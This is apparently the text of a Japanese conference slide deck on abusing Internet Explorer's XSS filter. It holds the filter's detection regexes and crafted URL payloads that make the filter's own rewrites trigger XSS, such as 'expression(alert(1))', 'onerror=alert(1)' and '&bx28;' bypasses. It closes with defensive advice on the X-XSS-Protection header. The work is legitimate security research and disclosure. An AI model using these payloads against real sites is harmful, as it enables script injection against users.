  45. 45. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""st#le="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1)) 適切に遮断!
  46. 46. 今度はフィルターをだます <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> URL: ?q="<> XSSもなし
  47. 47. <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> URL: ?q="<> この辺に注目
  48. 48. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  49. 49. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  50. 50. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  51. 51. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  52. 52. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  53. 53. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  54. 54. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) おお?!
  55. 55. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ? URL側でも あわせていく
  56. 56. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style
  57. 57. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++ ここは31バイト URL中では+6個分
  58. 58. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++ (=は除いて) 9バイト、+2個分
  59. 59. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++=
  60. 60. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++= Matched!
  61. 61. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </st#le> </head> <body> <input name="q" value=""> URL: ?/style++++++=++= ?!
  62. 62. </st#le> What will happen?
  63. 63. <style> body{background:gold} </style> </head> <body> <input name="q" value=""> ... URL: ?/style++++++=++= 本来のstyle要素の範囲
  64. 64. <style> body{background:gold} </st#le> </head> <body> <input name="q" value=""> ... URL: ?/style++++++=++= 遮断後のstyle要素の 範囲
  65. 65. <style> body{background:gold} </st#le> </head> <body> <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}& /style++++++=++= こんなふうに かくと…
  66. 66. <style> body{background:gold} </st#le> </head> <body> <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}& /style++++++=++=
  67. 67. Nightmare: 2
  68. 68. javascript:リンクの遮断の正規表現 {(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|( 41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;) |(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&( ([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[ ].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73) );?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))) )*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|( 52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab; )|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(& (([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[ ].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10 )|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7 4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;) )))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
  69. 69. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).
  70. 70. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). j があり、
  71. 71. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). タブまたは改行文字が0文字以上あり、
  72. 72. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). a があり、
  73. 73. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). タブまたは改行文字が0文字以上あり...
  74. 74. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). というのが javascript: のコロンまで続く
  75. 75. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). コロンのあとは任意の1文字
  76. 76. またフィルターをだます <script type="text/javascript">a=1</script> <script> var q="[USER_INPUT]"; </script> ユーザーが指定した文字列が格納されるとする (※話を簡単にするために、URLのパラメータ以外 から既に受け取った文字列を出力していると考える)
  77. 77. またフィルターをだます <script type="text/javascript">a=1</script> <script> var q="</script>""; </script> XSS対策も適切!
  78. 78. またフィルターをだます <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> こんな文字列が攻撃者により 指定されたとする
  79. 79. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: さらにこんなURLへ攻撃者により 誘導されたとする
  80. 80. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
  81. 81. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: 24バイト URL中で[0x0A] 4個分
  82. 82. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
  83. 83. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: 10バイト URL中で[0x0A] 2個分
  84. 84. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
  85. 85. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: Matched!
  86. 86. <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: ?!
  87. 87. <sc#ipt> What will happen?
  88. 88. <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: もはやscriptタグの中ではない!
  89. 89. <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
  90. 90. Nightmare: 3
  91. 91. <body> <script> var q="";abc.def="; </script> </body> URL: ?q=";abc.def= リテラルから抜ける文字 & プロパティアクセスからの代入 というような形で 正しいフィルター例(文字列リテラル)
  92. 92. <body> <script> var q="";abc#def="; </script> </body> URL: ?q=";abc.def= ドットの部分を書き換えて遮断 正しいフィルター例(文字列リテラル)
  93. 93. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= 文字列リテラル部の フィルターの正規表現
  94. 94. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <body> <script> var q="";abc.def="; </script> </body> URL: ?q=";abc.def= Matched!
  95. 95. またまたフィルターをだます <script src="//example.co.jp/test.js" type="text/javascript"> </script> 単に外部スクリプトをロード しているだけのコードがあるとする
  96. 96. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?
  97. 97. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"
  98. 98. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"
  99. 99. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/
  100. 100. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++ 11バイト +2個分
  101. 101. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.
  102. 102. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++ 16バイト +3個分
  103. 103. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++= Matched!
  104. 104. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co#jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++= ?!
  105. 105. <script src="//example.co#jp/test.js" type="text/javascript"> </script> What will happen?
  106. 106. <script src="//example.co#jp/test.js" type="text/javascript"> </script> example.co.jp ではなく example.co のスクリプトをロード!
  107. 107. <script src="//example.co#jp/test.js" type="text/javascript"> </script>
  108. 108. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="../1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT] CSSをロード & ユーザーの入力を 出力しているページ
  109. 109. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="../1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= Matched!
  110. 110. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= ?!
  111. 111. <link rel="stylesheet" href="#./1.css"> What will happen?
  112. 112. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= 自分自身をCSSとして ロードすることになる
  113. 113. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}&"+=+.++++= こうすると…
  114. 114. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}&"+=+.++++=
  115. 115. Nightmare: 4
  116. 116. Bypass 1: expression() <p style=v:expression&bx28;alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s: シンプルなXSSがあるとき、 ( と書くべきところを &bx28; と書く
  117. 117. Bypass 1: expression() <p style=v:expression&bx28;alert&bx28;1))>s: ここに何かいる! URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:
  118. 118. そう、vbs:とvbscript:も遮断対象 (v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([# ()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(b| (&[#()[].]x?0*((66)|(42)|(98)|(62));?))([t]|(&(([#()[ ].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[# ()[].]x?0*((83)|(53)|(115)|(73));?))([t]|(&(([#()[]. ]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#() [].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x? 0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[] .]x?0*((82)|(52)|(114)|(72));?))([t]|(&(([#()[].]x?0*( 9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()[].]x ?0*((73)|(49)|(105)|(69));?))([t]|(&(([#()[].]x?0*(9|( 13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[].]x?0* ((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13) |(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((8 4)|(54)|(116)|(74));?))([t]|(&(([#()[].]x?0*(9|(13)|(1 0)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()[].]x?0*(( 58)|(3A));?)|(colon;)))).
  119. 119. Bypass 1: expression() <p style=v:expression&bx28;alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As: vbs:の部分に反応させるようURLを調整 遮断前
  120. 120. Bypass 1: expression() <p style=v:expression(alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As: ((左カッコ)が作れた! 遮断後
  121. 121. Bypass 1: expression() <p style=v:expression(alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As: もういっちょ! 遮断前
  122. 122. Bypass 1: expression() <p style=v:expression(alert(1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As: さてこれで… 遮断後
  123. 123. Bypass 1: expression() <p style=v:expression(alert(1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As:
  124. 124. Bypass 2: <a folder> https://html5sec.org/#36 <a folder="javascript:alert(1)" style="behavior:url(#default#Anch orClick)">Click</a> 以下で javascript: へのリンク作成が可能 (要IE8以下のドキュメントモード) Thanks, Mario!:)
  125. 125. Bypass 2: <a folder> URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="jav&bx41;script:alert(1)" style="behavior:url&bx28;#default#AnchorClic k)"s:>Click 遮断前
  126. 126. Bypass 2: <a folder> URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="javAscript:alert(1)" style="behavior:url(#default#AnchorClic k)"s:>Click できあがったリンクをクリックすると… 遮断後
  127. 127. Bypass 2: <a folder> URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="javAscript:alert(1)" style="behavior:url(#default#AnchorClic k)"s:>Click できあがったリンクをクリックすると… 遮断後
  128. 128. http://l0.cm/xxn/ 全ての手法を試せるページ 紹介しきれなかったものも含む
  129. 129. Overcome the Nightmare
  130. 130. X-XSS-Protectionヘッダ 値 効果 0 無効 1 有効 (部分的書き換え) 1;mode=block 有効 (表示の完全な停止) デフォルト XSS保護機能を制御できるレスポンスヘッダ
  131. 131. デフォルトが部分的書き換え 問題箇所以外ページを変化させないで遮断 開発者にとってありがたい話のようにみえる でもこの動作こそ ➡サイト管理者はどうすべき? 紹介した手法のような攻撃の可能性をもたらす
  132. 132. Y 慎重な彼らはどうしている?
  133. 133. HTTP/2.0 200 OK Date: Mon, 19 Oct 2015 22:32:06 GMT Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN ...
  134. 134. HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html Date: Mon, 19 Oct 2015 22:40:37 GMT x-content-type-options: nosniff X-Frame-Options: DENY X-XSS-Protection: 0 ...
  135. 135. より安全を考えた選択 値 選択すべきサイト 0 基本的なXSSは対応している /誤検知をなくしたい 1 推奨しない (この手法の影響を受けるのもココ) 1;mode =block XSSがまだありそう /念のため保護も受けたい default X-XSS-Protection:0 か 1;mode=block
  136. 136. mode=blockなら安全? 直接スクリプト実行に繋がることはないはず フィルターの恩恵の方が大きいと僕は考える 遮断時の特徴を外から検出できれば ページ内容を推測できる可能性はありうる この可能性はゼロにはできないだろう 一方で
  137. 137. 何もつけない選択がしたい? なら、次のことをしてください! これができるなら そもそも普通のXSS脆弱性作りこまないだろ! ✔ XSSフィルターの遮断動作を全て把握 ✔ 部分的に書き換わっても安全に動作すること を全てのページで検証 ✔ 危険な部分は逐一コードを書き直して回避
  138. 138. 実のところ 意図的に誤検知を生じさせて、 特定の機能を動作させないよ うにすることも、場合によっ ては可能です。(略) XSSフィ ルタの作者が、この種の危険 性を認識しつつもXSSフィル タを導入したのか(あるいは そうではないのか)、ちょっ と興味があります。 ブラウザ側も危険性を認識した上で導入 以下は6年前の寺田さんとはせがわさんのやりとり T.Teradaの日記より http://d.hatena.ne.jp/teracc/2 0090622
  139. 139. 実のところ ブラウザ側も危険性を認識した上で導入 以下は6年前の寺田さんとはせがわさんのやりとり http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke 中の人は "The answer is Yes. " だそうです。 はせがわさんのはて なブックマークの コメントより ➡慎重になるならヘッダをつけるべきなのは 今に始まったことではない!
  140. 140. さいごに まだ安全側に倒す余地はあるはず デフォルト動作が今のままで本当にいいのか 遮断の原理上、リスクはつきもの Web開発者はその可能性を知ってほしい デフォルト動作以外で制御することを強く推奨 XSSフィルターの改善には期待したい
  141. 141. ";alert#"Thanks!"#// @kinugawamasato masatokinugawa@gmail#com http://l0.cm/xxn/DEMO

×